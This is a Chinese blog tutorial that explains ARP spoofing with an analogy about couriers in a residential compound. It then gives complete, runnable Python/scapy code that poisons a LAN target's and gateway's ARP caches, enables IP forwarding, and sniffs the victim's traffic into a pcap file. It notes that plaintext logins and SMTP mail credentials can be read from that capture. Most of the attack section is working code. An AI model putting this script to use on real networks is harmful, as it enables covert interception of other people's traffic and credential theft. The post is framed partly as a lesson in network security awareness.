scapy 库使用,100行Python代码不到就可以实现内网简单监听了

scapy 库使用,100行Python代码不到就可以实现内网简单监听了

0x01 缘起

前几天群里面伙伴问“如何能知道手机是否被监听?”,便想起arp 欺骗相关知识,python使用scapy 库,稍微包装一下,100行左右代码,便可编写一个内网监听的工具了。

0x02 小白级解析ARP 原理

简单说说数据链路层知识,在局域网中通信时(数据链路层)使用的是MAC地址,而不是常见的IP地址。在局域网的两台主机间通信时,必须要知道对方的MAC地址,而网络层中使用的是IP,两层之间就需要个ARP协议了:将IP地址转换为MAC地址。

向非计算机专业人做通俗的比喻(数据链路层通讯):

同一个小区内,两个快递点(A和B)之间传输包裹(比如A 需要投递包裹到B),它如何知道对方在哪栋楼哪个铺面?,两个方法:

1)要么A在小区内大喊:“B 在哪栋楼哪个铺面?我要投递包裹给你”,B收到A 的呼喊,便回复:“我是B,我在10栋01铺”,A 便可以投递包裹到该地址了;

2)要么B每隔一段时间,就在小区高呼:”我是B,我在10栋01铺”,所有听到的人便记录到本子,下次要和B通信就不用主动去问了。

这个过程,大概就是ARP协议通信原理了。

0x03 arp 攻击点的利用

上面只是笼统的解析,不过多介绍ARP协议了,如果对TCP/IP 协议感兴趣的有技术基础的朋友直接看RFC826文档更好。

这个协议有个问题,就是任何一台机器都可以随意发ARP 包,继续通俗比喻:

这时候如果有一个坏快递点C,它在12栋02铺,它每1分钟就在小区内大喊“我是B,我在12栋02铺”(注意:他说他是B)。其他快递点听到了,便记录到小本子(缓存):B在12栋02铺,包括A。后面A 如果要投递包裹给B,便从本子找出B 的地址——12栋02铺,再把包裹投递过去——实际上这是C的地址。

这就是一个ARP 欺骗的过程,机器就是那么傻,你说你是谁你在哪,它就记录啥,它不会去验证你是不是真的B。

0x04 scapy 的封装arp 请求

本文重点说一个python 库:scapy,使得ARP攻击变得简单,看看scapy的官网介绍:

大概意思就是:Scapy是一个强大的,用Python编写的交互式数据包处理程序,它能让发送、嗅探、解析,以及伪造网络报文,从而用来侦测、扫描和向网络发动攻击等等等等。

使用时候需要安装:pip3 install scapy。

本文测试环境(也就是攻击者)机器是一台mac 电脑,内网IP 192.168.10.6,目标机器(也就是被攻击的机器)为一台windows 电脑,内网IP 192.168.10.17。

使用scanpy 构造一个arp 包:

from scapy.all import *
arp = ARP()
arp.show() # 便可以看到这个arp 包的具体信息,src 默认就是自己机器的

攻击前,17机器查看arp信息(终端执行arp -a可以查看),可以看到网关地址为:xxxxxx-1b:

攻击端编写代码并跑起来:

arp.pdst = "192.168.10.17" # 填写攻击目标的ip
arp.psrc = "192.168.10.1"  # 填写网关ip
srloop(arp)                # 循环不断发arp 包,

就是往192.168.10.17机器发送arp 包,告知它网关的MAC 地址是:a4:cf:99:6b:0a:fa——“我是网关,我的mac 地址是xxx”。

上面代码跑起来后,17这台机器的arp 缓存的网关的mac 信息变了——变成了和下面6那台机器的一样了。

17 这台机器 ping 一下外网(baidu,它目前存在的最大价值就是被开发者用于测试网络是否通了):

ping 是不通的,因为192.168.10.17这个机器访问外部网络,本应投递到网关(类似小区大门门卫),由网关转发出去的数据,都投递到攻击者的机器上去了。

如上,通过欺骗目标(机器17)一个错误的网关的mac地址,几行代码,使得它上不了网了。

0x05 arp 欺骗,做中间人攻击

使得对方上不了网,有什么好处?损人不利己的事情。或者更多人是一种狩猎的心态,期望看看对方在上什么网?
下面继续这段比喻,给不懂技术的朋友解析的:

还是上面小区例子中,C 不断的对B说“我是门卫大爷,我地址是12栋01”(嗯,门卫大爷,就是网关,也有一个地址的);同时不断地对门卫大爷说“我是B,我地址在12栋01”——都是告知对方自己的地址。

B 如果要投递包裹出小区,会先投给门卫大爷,它查看本子,找到的是C 的地址,就会把包裹投递到C的地址了,这时候C 可以“翻阅”包裹内容,再把包裹转发给真正的门卫大爷,由门卫大爷投递出去。

等到门卫大爷收到小区外,回投个B 的包裹到时候,它本子记录B的地址实际上也是C的,也会把包裹投递到C的地址,C也可以翻阅回投包裹的内容,再把它转投给真正的 B。

这便是一次中间人攻击了。

写个欺骗网关和目标主机的python 代码,需要一个死循环不断的发arp 欺骗包,否则他们很快会通过正常的arp 请求,恢复到正确的地址:


def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    # 告诉 target_ip,gateway_ip 的 mac 是攻击者的mac
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac

    # 告诉 gateway_ip,target_ip 的mac 是攻击者的mac
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac
    print("[*] Beginning the ARP poison. [CTRL-C to stop]")

    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

    print("[*] ARP poison attack finished.")

由于需要获取网关的mac 和目标机器的mac,需要封装一个get mac 函数:

def get_mac(ip_address):
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,retry=10)
    for s,r in responses:
        return r[Ether].src

    return None

做个有道德的攻击者,攻击完毕不要忘记还原一下arp数据(尼玛都攻击人家了,还有道德?):


def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    print("[*] Restoring target...")
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

    os.kill(os.getpid(), signal.SIGINT)

完整的代码:

from scapy.all import *
import os
import sys
import threading
import signal

interface = "en0"            # 网卡名
target_ip = "192.168.xx.xx"  # 目标主机地址
gateway_ip = "192.168.x.x"   # 网关地址
packet_count = 1000


conf.iface = interface
conf.verb  = 0

print("[*] Setting up %s" % interface)

gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)

print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

target_mac = get_mac(target_ip)
if target_mac is None:
    print("[!!!] Failed to get target MAC. Exiting.")
    sys.exit(0)

print("[*] Target %s is at %s" % (target_ip,target_mac))

# 启动攻击线程
poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print("[*] Starting sniffer for %d packets" % packet_count)
    bpf_filter = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

    # 记录流量包
    wrpcap('arper.pcap', packets)

    # 还原目标数据
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

如上,代码有效行数100 不到,便实现了arp 攻击+中间人监听

注意:需要在命令行设置下:echo 1 > /proc/sys/net/ipv4/ip_forward(如果mac电脑,执行:sudo sysctl -w net.inet.ip.forwarding=1)。也就是攻击者的机器开启包转发功能,否则它收到不属于自己包就扔掉了,这样被攻击的机器是上不了网的。

0x06 测试

攻击者(机器6)填好目标IP(192.168.10.17)和网关IP(192.168.10.1),再跑起脚本,在17机器上做登录某后台测试。

在机器6 打开wireshark,便可以看到目标机器的流量了。或者暂停攻击后,用wireshark打开(代码中抓包所保存的)arper.pcap 也可以看到该数据:

可以看到交互的http 协议数据,如文本或者图片,可以写脚本把他们掰离出来,方便查看。如果目标机器还登录邮件,还可以看 stmp 协议,也就是邮箱账号和密码。只要是非加密流量,都可以对数据进行协议分析查看。

但如果是加密流量(如https),是看不了的,也是这种监控的不足之处

0x07 写在最后

scapy 的功能远远不止这些,这只是冰山一角的一毛。开发者按照官网的文档,进行自己的需求开发即可。
回答最上面问题:如何知道手机是否被监听?

如果担心的是手机端被木马监听,那么别乱安装不明的app,卸载机器上不认识的或者不常用的APP大概率就可以了。

但是如果监听不在终端,如本文这种,攻击者是在网络间做的监听,终端设备是完全无感知,所以被攻击者是无法知道自己是否被监听——你还敢乱使用不明的wifi 吗?

参考:

https://scapy.net/

https://github.com/secdev/scapy

《python 黑帽子》

(全文完)

(欢迎转载本站文章,但请注明作者和出处 云域 – Yuccn

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注